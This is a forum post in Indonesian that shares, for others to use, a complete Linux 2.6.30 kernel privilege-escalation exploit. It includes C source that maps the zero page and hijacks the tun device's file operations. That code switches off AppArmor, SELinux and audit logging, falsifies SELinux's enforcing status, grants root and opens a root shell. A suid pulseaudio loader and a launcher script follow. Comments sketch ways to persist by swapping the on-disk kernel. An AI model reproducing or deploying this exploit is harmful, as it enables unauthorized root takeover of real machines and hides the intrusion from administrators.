PrOReBeLL Paling Cool Di PCT
Jumlah posting : 140 Join date : 13.09.10 Lokasi : Pekanbaru
| Subyek: Linux 2.6.30 exploit Sun Sep 19, 2010 2:43 pm | |
| Ane Coba Share aja ttg beberapa Exploite Linux 2.6.30, Moga2 berguna bagi agan2 semua - Exploite.C:
#include #include #include #include #include #include #include #include
/* on 2.6.30: sk_sndbuf is at 0x68 sk_wmem_alloc is at 0x60 sk_socket is at 0x140 the above can change based on kernel configuration, blahblah I couldn't bother to recompile and compute the other sizes so kiddies may have to reduce the size of gibberish2 a bit
flags is at offset 0x8 in sk_socket (on 2.6.30, on the RHEL5 2.6.18 it's at offset 0x4) */
#ifdef RHEL5_SUCKS #define OFFSET_OF_FLAGS 0x4 #else #define OFFSET_OF_FLAGS 0x8 #endif
struct sock { char gibberish1[0x60]; #ifdef RHEL5_SUCKS char gibberish2[0xb0]; // this seems to do the trick #else char gibberish2[0xe0]; // gotta make sure this >> 1 is not >= above #endif unsigned long gibberish3[0x50]; };
static void craft_sock(struct sock *sk, unsigned long target_addr) { int i; memset(sk->gibberish1, 0, sizeof(sk->gibberish1)); memset(sk->gibberish2, 0, sizeof(sk->gibberish2)); for (i = 0; i < sizeof(sk->gibberish3)/sizeof(sk->gibberish3[0]); i++) sk->gibberish3[i] = target_addr - OFFSET_OF_FLAGS; }
static void or_one_to_kernel_address(unsigned long target_addr) { struct sock *sk = NULL; int fd; struct pollfd pfd;
craft_sock(sk, target_addr);
fd = open("/dev/net/tun", O_RDWR); if (fd == -1) { fprintf(stdout, "UNABLE TO OPEN /dev/net/tun!\n"); return; } pfd.fd = fd; pfd.events = POLLIN | POLLOUT; poll(&pfd, 1, 0);
close(fd);
fprintf(stdout, " [+] *%p |= 1\n", (void *)target_addr); }
static unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret;
f = fopen("/proc/kallsyms", "r"); if (f == NULL) { fprintf(stdout, "Unable to obtain symbol listing!\n"); exit(0); }
ret = 0; while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr); fclose(f); return addr; } }
fclose(f); return 0; }
/* fastcalls! */ typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef int __attribute__((regparm(3))) (*_nf_unregister_hooks)(unsigned long *ops, int count); typedef int __attribute__((regparm(3))) (*_unregister_filesystem)(unsigned long arg);
unsigned long *tun_mmap_fop;
unsigned long sel_fs_type;
unsigned long *mmap_min_addr;
int *audit_enabled;
int *ss_initialized;
int *selinux_enforcing; int *selinux_enabled; int *selinux_mls_enabled;
int *sel_enforce_ptr;
int *apparmor_enabled; int *apparmor_logsyscall; int *apparmor_audit; int *apparmor_complain;
unsigned long *security_ops; unsigned long default_security_ops;
unsigned long sel_read_bool; unsigned long security_get_bool_value; unsigned long sel_read_enforce;
_commit_creds commit_creds; unsigned long init_cred;
_nf_unregister_hooks nf_unregister_hooks; unsigned long * selinux_ipv4_ops; unsigned long * selinux_ipv6_ops;
_unregister_filesystem unregister_filesystem;
int what_we_do;
unsigned int our_uid;
int got_root;
/* for RHEL5 2.6.18 with 4K stacks */ static inline unsigned long get_current(void) { unsigned long current;
asm volatile ( " movl %%esp, %%eax;" " andl %1, %%eax;" " movl (%%eax), %0;" : "=r" (current) : "i" (0xfffff000) ); return current; }
static void old_style_gimme_root(void) { unsigned int *current; unsigned long orig_current;
current = (unsigned int *)get_current(); orig_current = (unsigned long)current;
while (((unsigned long)current < (orig_current + 0x1000)) && (current[0] != our_uid || current[1] != our_uid || current[2] != our_uid || current[3] != our_uid)) current++;
if ((unsigned long)current >= (orig_current + 0x1000)) return;
current[0] = current[1] = current[2] = current[3] = 0; // uids current[4] = current[5] = current[6] = current[7] = 0; // gids
got_root = 1;
return; }
/* the possibilities are really endless here, I've commented out some funny possibilities (like fully emulating the behavior of selinux_disable() even when the function doesn't exist in the kernel
some other ideas: make /selinux/enforce operate off a dummy internal variable, while selinux_enforcing remains controlled by you in a permissive state
create a copy of the exploit that will set the modified values back to their original (so auditing etc can continue)
allocate some memory and copy some PIC code and data into it, set up a timer for some point in the future (minutes, days, weeks) and have it execute your code upon expiration
something to think about: modify umount to record which filesystems are being unmounted -- don't unmount them yet. wait until a reboot or halt is about to take place, then write out a binary to disk (you have all the functions in the kernel needed to do so) which copies the current running kernel on disk over top the one about to be booted upon reboot then modifies that new copy so that its uname matches the one you replaced. Execute this binary using the function the kernel provides to you, then unlink it when it's done. After this, go through the list of mounts you recorded that are scheduled for unmounting, and unmount them in order. Then perform the reboot or halt originally requested. You could modify the kernel on disk so that it allocates the space for and executes this code on boot, or you can stuff it into a module and toss it into the initrd image associated with the kernel. The system will stay in perpetual vulnerability with the appearance of being up to date */
static int __attribute__((regparm(3))) own_the_kernel(void *a, void *b) { // clean up after ourselves if (tun_mmap_fop) *tun_mmap_fop = 0;
if (audit_enabled) *audit_enabled = 0;
// giggles //if (mmap_min_addr) // *mmap_min_addr = 0;
// disable apparmor if (apparmor_enabled && *apparmor_enabled) { what_we_do = 1; *apparmor_enabled = 0; if (apparmor_audit) *apparmor_audit = 0; if (apparmor_logsyscall) *apparmor_logsyscall = 0; if (apparmor_complain) *apparmor_complain = 0; }
// disable SELinux if (selinux_enforcing && *selinux_enforcing) { what_we_do = 2; *selinux_enforcing = 0; }
if (!selinux_enabled || selinux_enabled && *selinux_enabled == 0) { // trash LSM if (default_security_ops && security_ops) { if (*security_ops != default_security_ops) what_we_do = 3; *security_ops = default_security_ops; } }
/* make the idiots think selinux is enforcing */ if (sel_read_enforce || (sel_read_bool && security_get_bool_value)) { unsigned char *p; unsigned long _cr0;
asm volatile ( "mov %%cr0, %0" : "=r" (_cr0) ); _cr0 &= ~0x10000; asm volatile ( "mov %0, %%cr0" : : "r" (_cr0) ); if (sel_read_enforce) { if (sizeof(unsigned int) != sizeof(unsigned long)) { /* 64bit version, look for the mov ecx, [rip+off] and replace with mov ecx, 1 */ for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) { if (p[0] == 0x8b && p[1] == 0x0d) { p[0] = '\xb9'; p[5] = '\x90'; *(unsigned int *)&p[1] = 1; goto and_now; } } } else { /* 32bit, replace push [selinux_enforcing] with push 1 */ for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) { if (p[0] == 0xff && p[1] == 0x35) { #ifdef RHEL5_SUCKS // while we're at it, disable // SELinux without having a // symbol for selinux_enforcing sel_enforce_ptr = *(unsigned int **)&p[2]; *sel_enforce_ptr = 0; what_we_do = 2; #endif p[0] = '\x68'; p[5] = '\x90'; *(unsigned int *)&p[1] = 1; goto and_now; } } } } and_now: /* if (sel_read_bool && security_get_bool_value) { for (p = (unsigned char *)sel_read_bool; (unsigned long)p < (sel_read_bool + 0x300); p++) { if (p[0] == 0xe8 && (((unsigned long)&p[5] + *(int *)&p[1]) == security_get_bool_value)) { *p = '\xa1'; *(unsigned int *)(p + 1) = 1; goto next_part; } } } next_part: */ _cr0 |= 0x10000; asm volatile ( "mov %0, %%cr0" : : "r" (_cr0) ); } /* if (nf_unregister_hooks) { if (selinux_ipv4_ops && *selinux_ipv4_ops) { nf_unregister_hooks(selinux_ipv4_ops, 3); *selinux_ipv4_ops = 0; } if (selinux_ipv6_ops && *selinux_ipv6_ops) { nf_unregister_hooks(selinux_ipv6_ops, 2); *selinux_ipv6_ops = 0; } } */ //if (unregister_filesystem && sel_fs_type) // unregister_filesystem(sel_fs_type);
/* and now give ourselves full privileges */ if (commit_creds && init_cred) { /* hackish usage increment */ *(volatile int *)(init_cred) += 1; commit_creds(init_cred); got_root = 1; } #ifdef RHEL5_SUCKS else { // must be RHEL5 2.6.18 old_style_gimme_root(); } #endif
return -1; }
static void boom_goes_the_dynamite(void) { char *mem; int fd;
fprintf(stdout, " [+] b00m!\n");
fd = open("/dev/net/tun", O_RDONLY);
mem = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
close(fd);
return; }
int pa__init(void *m) { char *mem; int fd; int ret;
our_uid = getuid();
/* open it so we can have it auto-loaded and resolve its symbols below */ fd = open("/dev/net/tun", O_RDONLY); if (fd == -1) { fprintf(stdout, "UNABLE TO OPEN THE DEVICE!\n"); return 1; } close(fd);
if ((personality(0xffffffff)) != PER_SVR4) { mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem != NULL) { fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n"); return 1; } } else { ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC); if (ret == -1) { fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n"); return 1; } }
fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");
/* make an mmap handler for the tun device at 0x1 mmap fop offset is sizeof(ptr) * 11 */ tun_mmap_fop = (unsigned long *)(get_kernel_sym("tun_fops") + (sizeof(unsigned long) * 11));
selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing"); //selinux_enabled = (int *)get_kernel_sym("selinux_enabled"); //selinux_mls_enabled = (int *)get_kernel_sym("selinux_mls_enabled"); //ss_initialized = (int *)get_kernel_sym("ss_initialized");
apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled"); apparmor_complain = (int *)get_kernel_sym("apparmor_complain"); apparmor_audit = (int *)get_kernel_sym("apparmor_audit"); apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall");
nf_unregister_hooks = (_nf_unregister_hooks)get_kernel_sym("nf_unregister_hooks"); //selinux_ipv4_ops = (unsigned long *)get_kernel_sym("selinux_ipv4_ops"); //selinux_ipv6_ops = (unsigned long *)get_kernel_sym("selinux_ipv6_ops");
security_ops = (unsigned long *)get_kernel_sym("security_ops"); default_security_ops = get_kernel_sym("default_security_ops");
//sel_read_bool = get_kernel_sym("sel_read_bool"); sel_read_enforce = get_kernel_sym("sel_read_enforce"); //security_get_bool_value = get_kernel_sym("security_get_bool_value");
//mmap_min_addr = (unsigned long *)get_kernel_sym("mmap_min_addr");
audit_enabled = (int *)get_kernel_sym("audit_enabled");
commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); init_cred = get_kernel_sym("init_cred");
//sel_fs_type = get_kernel_sym("sel_fs_type"); //unregister_filesystem = (_unregister_filesystem)get_kernel_sym("unregister_filesystem");
/* we don't really need to use the NULL mapping for the kernel to redirect to since I could have OR'd another byte in the address and turned it into a regular allocation area. Furthermore, this code can be placed into a file and mmap'd RX to bypass any runtime W^X checks */ or_one_to_kernel_address((unsigned long)tun_mmap_fop);
/* two cases, fancy trickery */ if (sizeof(unsigned int) != sizeof(unsigned long)) { // 64bit *(char *)1 = '\xff'; *(char *)2 = '\x25'; *(unsigned int *)3 = 0; // pc-relative and such yes *(unsigned long *)(3 + 4) = (unsigned long)&own_the_kernel; } else { // 32bit *(char *)1 = '\xe9'; *(unsigned long *)2 = (unsigned long)&own_the_kernel - 6; }
boom_goes_the_dynamite();
{ char *msg; switch (what_we_do) { case 1: msg = "AppArmor"; break; case 2: msg = "SELinux"; break; case 3: msg = "LSM"; break; default: msg = "nothing, what an insecure machine!"; } fprintf(stdout, " [+] Disabled security of : %s\n", msg); } if (got_root == 1) fprintf(stdout, " [+] Got root!\n"); else { fprintf(stdout, " [+] Failed to get root Something's wrong. Maybe the kernel isn't vulnerable?\n"); exit(0); } fprintf(stdout, " [+] BAM! About to launch your rootshell!...but first some chit-chat...\n"); sleep(3); fprintf(stdout, " , ,\n"); fprintf(stdout, " /(_, ,_)\\\n"); fprintf(stdout, " \\ _/ \\_ /\n"); fprintf(stdout, " // \\\\\n"); fprintf(stdout, " \\\\ (@)(@) //\n"); fprintf(stdout, " \'="=="='/\n"); fprintf(stdout, " ,===/ \\===,\n"); fprintf(stdout, " ",===\\ /===,"\n"); fprintf(stdout, " " ,==='------'===, "\n"); fprintf(stdout, " " "\n"); fprintf(stdout, "Do you know the deadliest catch?\n"); { char buf[20]; fgets(buf, sizeof(buf)-1, stdin); } sleep(1); fprintf(stdout, "That's right! MAN is the deadliest catch of all!\n"); sleep(2); { char wait[] = "WAIIIIIIIIIITTTT...."; int i; for (i = 0; i < sizeof(wait); i++) { fprintf(stdout, "%c", wait[i]); fflush(stdout); usleep(200 * 1000); } } fprintf(stdout, "do you hear it?\n"); sleep(2); fprintf(stdout, "You hear it! You do too! It's not just me! It's here, it's here I say!!\n"); sleep(3); fprintf(stdout, "I must face this....\n"); fprintf(stdout, "\x7"); fflush(stdout); sleep(1); fprintf(stdout, "\x7"); fflush(stdout); sleep(1); fprintf(stdout, "\x7"); fflush(stdout); sleep(1);
fprintf(stdout, "What's this? Something stirs within the beast's belly! Something unexpected"); fflush(stdout); usleep(500 * 1000); fprintf(stdout, "."); fflush(stdout); usleep(500 * 1000); fprintf(stdout, "."); fflush(stdout); usleep(500 * 1000); fprintf(stdout, "."); fflush(stdout); usleep(500 * 1000); fprintf(stdout, "."); fflush(stdout); usleep(500 * 1000); fprintf(stdout, "\n"); sleep(3);
execl("/bin/sh", "/bin/sh", "-i", NULL);
return 0; }
void pa__done(void *m) { return; }
int main(void) { pa__init(NULL); }
- pwnkernel.C:
#include #include #include #include #include
#define PULSEAUDIO_PATH "/usr/bin/pulseaudio" #define PATH_TO_EXPLOIT "/home/spender/exploit.so"
int main(void) { int ret; struct stat fstat;
ret = personality(PER_SVR4);
if (ret == -1) { fprintf(stderr, "Unable to set personality!\n"); return 0; }
fprintf(stdout, " [+] Personality set to: PER_SVR4\n");
if (stat(PULSEAUDIO_PATH, &fstat)) { fprintf(stderr, "Pulseaudio does not exist!\n"); return 0; }
if (!(fstat.st_mode & S_ISUID) || fstat.st_uid != 0) { fprintf(stderr, "Pulseaudio is not suid root!\n"); return 0; } execl(PULSEAUDIO_PATH, PULSEAUDIO_PATH, "--log-level=0", "-L", PATH_TO_EXPLOIT, NULL);
return 0; }
- byz_curse.sh:
#!/bin/sh
killall -9 pulseaudio if [ ! -f '/usr/sbin/getenforce' ]; then ./pwnkernel else RESULT=`/usr/sbin/getenforce` if [ "$RESULT" != "Disabled" ]; then pulseaudio --log-level=0 -L /home/spender/exploit.so else ./pwnkernel fi fi
Semoga bsa nambah ilmu nya ...hehhehe | |
|